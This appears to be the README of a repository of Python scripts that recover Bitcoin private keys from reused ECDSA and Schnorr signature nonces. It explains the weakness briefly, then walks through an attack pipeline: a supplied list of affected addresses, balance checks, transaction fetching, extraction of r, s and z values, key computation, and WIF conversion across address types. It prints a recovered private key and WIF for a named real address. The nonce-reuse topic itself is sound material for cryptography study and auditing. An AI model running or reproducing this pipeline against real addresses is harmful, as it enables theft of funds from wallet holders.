Detection & research tools for repeated ECDSA & Schnorr nonces (r) in Bitcoin transactions
these tools are for educational purposes. Any incorrect or harmful use is the responsibility of the user.
What is “r-repeat” :
r-repeat means the same ECDSA or Schnorr nonce (k) — and thus the same r value — was used more than once with the same private key in Bitcoin signatures. If that happens, the signatures leak enough information that someone could recover the private key. This turns otherwise secure signatures into a critical vulnerability.
How does r repeat? :
-
Weak or insufficient randomness (CSPRNG): the system or device didn’t provide enough entropy when signing.
-
Programming bug: the random generator is re-seeded incorrectly or the same nonce buffer is reused.
-
Incorrect deterministic nonce implementation: RFC6979 is safe when implemented correctly; buggy implementations break safety.
-
Re-using the same private key across apps / chains: one weak environment can compromise all signatures made with that key.
-
Weak key-generation (brainwallets): low-entropy passphrases or predictable key derivation lead to weak keys and weak nonces.
-
Hardware / firmware faults: buggy devices can unintentionally reuse nonces (e.g., after power loss).
Why is this dangerous :
Because the nonce k is the core secret that makes each signature unique. If the same k is used twice with the same private key, the signatures alone (no access to the private key required) may allow an attacker to compute the private key. In short: nonce reuse breaks the security goal of signatures.
What you should do (safety tips) :
- Use well-audited libraries (e.g., secp256k1/OpenSSL) and keep them updated.
- Prefer RFC6979 deterministic signing only via proven implementations.
- Use hardware wallets or HSMs with good security reviews for high-value keys.
- Never reuse a private key across unrelated apps/chains.
- Avoid brainwallets or passwords-as-keys; use proper key generation.
- Monitor signatures: detect repeated r values and act immediately if found.
Requirements :
Python 3.10 or newer
Sufficient free storage space to download transaction data (depends on analysis size)
Internet connection when fetching blockchain data or using APIs
Security Notice :
These tools are designed purely for analysis and research — they do not collect any user data, results, or personal information in any form.
Running the tools with an internet connection is safe, as long as you trust the source.
You can always review the source code yourself to verify what each tool does and ensure it meets your security standards.
Installation :
1• Clone repo
git clone https://github.com/abdallahbn31/reused-r-bitcoin
cd reused-r-bitcoin2• Install requirements
pip install -r requirements.txtHow to operate tools + example :
addresses.txtThis is list of addresses that included r-duplication vulnerability
If you want to check balances of these addresses, use this script.
check_adds.pyusage :
python check_adds.py --input addresses.txt --output balances.csvYou need to create a file and put addresses in it, for example(addresses.txt)
If you have a large number of addresses, you can split the file using this script.
split.pyusage :
python split.py addresses.txt 200You can change the number of split lines(200) as you want
anyway, Let's choose this address
1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU1• collecting transactions
Raw transactions containing values and signatures
fetch_raw_txs.pyThis script collects raw transactions from a target address.
usage :
python fetch_raw_txs.py -a 1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU --output results.csv --rawtxt rawtxs.txtpython fetch_raw_txs.py -a 1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU --output results.csv --rawtxt rawtxs.txt --resume --appendrawtxs.txt is file that contains raw transactions is automatically generated by script
fetch_state.json is state file automatically generated by script
You can use command (--resume --append) To continue collecting transactions where left off
frt_ultra.pyThis script like the first one, but with advanced options.
For example, we have this address
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNaThis address has over 52,000 transactions, and that's a large number, Let's say you only want the 100 oldest transactions
First, you will enter this explorer
https://bitcoin.atomicwallet.io/address/1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNaThis explorer allows you to browse all transactions, even if there are many, without loading each transaction into a very long sequence.
Each page contains 25 transactions, You will go to the last page, for example, page 2096
Then calculate the number of transactions you want to collect. For example
100÷25=4
1000÷25=40
10000÷25=400
Then subtract a number of pages from the total number.
2096-40=2056
usage :
python frt_ultra.py -a 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa --start-page 2056 --end-page 2096python frt_ultra.py -a 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa --start-page 2015 --end-page 2055 --resume --append(--resume --append) command to continue collecting
2• analyze
Analyzing transactions to extract values used to calculate private key
analyze_txs_enhanced.pyThis is script that analyzes
usage :
python analyze_txs_enhanced.py rawtxs.txtThis script will generate file named "der_full_summary.csv" containing values.
The file size can be so large that it is unreadable (file size depends on the analysis; for example, analyzing many transactions, such as 10,000 transactions, might produce a file size of 10+ GB).
You can use this script
cut_r2.pyThis script should be in the same folder as the csv file.
script will read csv file and extract all the lines in which "r" is repeated.
usage :
python cut_r2.pyThen you can change csv file name to "der_full_summary.csv" to continue working
compute_z.pyThis script calculates z value
usage :
python compute_z.py --input der_full_summary.csv --output der_with_z.csv --fetch-prevoutsThe script will create a file named "der_with_z.csv". This file is required to calculate the private key.
Additions :
ate_ultra.pyThis script similar to analysis script, but with additional features such as sorting signatures according to protocol.
usage :
python ate_ultra.py rawtxs.txtext_schnorr_extras.pyThis script extracts additional information for Schnorr Protocol
usage :
python ext_schnorr_extras.py rawtxs.txt --fetch-prev3• computing private key
We will use "der_with_z.csv" file generated by command
python compute_z.py --input der_full_summary.csv --output der_with_z.csv --fetch-prevoutsbecause it contains all the values required to calculate the private key.
Required values :
repeated r value (r_hex In CSV file)
s value for each signature (s_hex In CSV file) (We need the value of the first and second signatures. If there are more than two signatures, you can switch between them)
z value for each signature (z_mod_n In CSV file) (Value of the first and second signatures)
The values must be integers.
z values (z_mod_n) is already integer
You must convert (r-s1-s2) values from Hex to an integer
You can use this script
hex_to_number.pyCreate file named "hex.txt" and Write values in it, One line for each value
script will convert values and write them to new file.
usage :
python hex_to_number.py hex.txtfor example (1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU)
When analyzing the transactions of this address, we will find four instances (four signatures) of r repetition (one r value - four s value - four z value)
We will use values from the first and second signatures :
repeated r: hex(00cabc3692f1f7ba75a8572dc5d270b35bcc00650534f6e5ecd6338e55355454d5) int(91699739317935258627372771550459504326006289891191381848862551863464593478869)
s1: hex(00f65bfc44435a91814c142a3b8ee288a9183e6a3f012b84545d1fe334ccfac25e) int(111431484914827310314108809136597661506085346855505784425577929088113412063838)
s2: hex(00b584c5e2f26eaac9510307f466d13f8d4e8f57b1323cc4151ff6ffeb6747ca9b) int(82103215168631327946455936234377737221280608082064931975396899914217832303259)
z1: int(70121596733354710270739379126478863332897631323035990573894949033544740983882)
z2: int(42691526897907875236967398205101700537962275948723679969547592971981809076177)
compute_x.pyThis script calculates the private key.
Before running it, you must open it with a text editor and change the values (r-s1-s2-z1-z2) (Do not change n value) (values must be integers)
usage :
python compute_x.pyscript will print the results
for example:
s_diff = 29328269746195982367652872902219924284804738773440852450181029173895579760579
z_diff = 27430069835446835033771980921377162794935355374312310604347356061562931907705
k (decimal) = 12345678
k (hex) = 0xbc614e
x (decimal) = 36985158630392181731692032973660058930135418234446520253368071243468798761122
x (hex) = 0x51c4dba2c28fc89b208550477a514c87f9d0db0354f03b7c61f08c0a0e3118a2
verification ok: Truex (hex) is the private key
To convert x(hex) to WIF, use this script.
wif.pyCreate file named "xhex.txt" and place it in the same folder, then write x(hex) values in it
script will read file and produce WIF (compressed / uncompressed) With all possibilities with derivatives for each type of address(p2pkh / p2sh / p2wpkh / p2tr), along with a balance check.
usage :
python wif.py --file xhex.txt --out mywifs.csvfile named "mywifs.csv" will be produced containing the results.
for example:
5JSJG3nX6z1rsfZ9EZTtbi4qy82TzjGLBpyPzGm7hPRazzrqYzAThis is WIF(uncompressed - p2pkh)to 1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU
Additions :
sc_r.pyThis script calculates private key for the schnorr protocol.
usage :
python sc_r.py \
--Rx 0a1b2c3d4e5f60718293a4b5c6d7e8f90123456789abcdef0123456789abcdef \
--Px 1f2e3d4c5b6a79880796a5b4c3d2e1f0a9b8c7d6e5f40123456789abcdef0123 \
--s1 0x8a3f1b2c4d5e6f7091a2b3c4d5e6f7089a1b2c3d4e5f60123456789abcdef012 \
--m1 "hello world" \
--s2 0x7b2e3c4d5f6a7b8091a2b3c4d5e6f70123456789abcdef0123456789abcdef01 \
--m2 "other message"Change the values
It will print the results
For example :
=== Result ===
e1 = 108970234477436902694766334568020749912403966361468773267923272186995557531266e2 = 66856546383303793989981220542885447886729718496899420254699013163356773868462
s1 = 62530672011108711400438125813195380086512239951027680111811469263325183799314
s2 = 55716171531466744293207597776544084512684920955164725164723036609180125228801
s_diff (s1-s2 mod n) = 6814500479641967107230528036651295573827318995862954947088432654145058570513
e_diff (e1-e2 mod n) = 42113688094133108704785114025135302025674247864569353013224259023638783662804
Recovered private key x (decimal): 47206142724068971842463861168325724021122544036124670454439260535612937450174
Recovered private key x (hex) : 0x685dbadd6c6726922fd9f2b703c7763b4cb00c7078fea84179664a7c0eb5b2be
WIF (mainnet, compressed): KziatDAHb89WXx8xB8uUbAAJ62LpDkGGpbv465vGHfpPzYGcddoQ
WIF (mainnet, uncompressed): 5JcFUTmhTmDMHXcnaZbzubhd3VrMDQPwngBD2c6iynx9PCyXBC1Support the Project :
If you find this project useful or it helped you in any way, consider supporting me!
Donate :
BTC
bc1qtxctgmaxwh73h22h862epj3a7yc3tdl2j45aep